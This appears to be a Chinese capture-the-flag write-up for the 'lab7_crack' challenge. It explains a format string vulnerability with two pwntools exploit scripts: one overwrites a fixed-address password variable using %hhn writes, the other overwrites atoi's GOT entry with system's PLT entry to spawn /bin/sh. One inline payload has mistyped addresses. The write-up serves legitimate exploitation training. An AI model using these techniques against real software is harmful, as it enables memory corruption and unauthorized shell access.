lab7_crack

格式化字符串漏洞

非getshell

思路

  • 按代码的逻辑来说,是要求猜一个随机数,如果这里的cat flag的确有这个flag的话,那么覆盖password成为指定内容就可以做完了。
    在这里插入图片描述
    在这里插入图片描述 password是一个bss段的变量,而checksec发现

地址随机化没开,所以password的地址确定了。 在这里插入图片描述

  • **payload**

    在这里插入图片描述 buf是第十个参数,干脆把他覆盖成0。然后再加上前面格式化字符串的长度,可以得到地址开始是第17个参数。

    1
    payload="%17$hhn%18$hhn%19$hhn%20$hhnA"+p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a050)+p32(0x0804a051)
    

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import time 
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

sh=process("./crack")
context.log_level='debug'

#gdb.attach(sh)
payload="%17$hhn%18$hhn%19$hhn%20$hhn"+p32(0x0804a048)+p32(0x0804a049)+p32(0x0804a04a)+p32(0x0804a04b)

sh.sendlineafter("name ? ",payload)
time.sleep(0.1)
sh.sendlineafter(':','0')

sh.interactive()
sh.close()

getshell

  • 我大胆想象一下,如果我把atoi的got表给改成system的plt表……
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
import time 
#context.terminal = ['deepin-terminal', '-x', 'sh', '-c']

sh=process("./crack")
elf=ELF("./crack")
context.log_level='debug'

#gdb.attach(sh)

atoi_got_addr=elf.got['atoi']
system_plt_addr=elf.plt['system']

payload=fmtstr_payload(10,{atoi_got_addr:system_plt_addr})

sh.sendlineafter('? ',payload)
time.sleep(0.1)
sh.sendlineafter(':',"/bin/sh")

sh.interactive()
sh.close()

plt表是不可写的= =。 在这里插入图片描述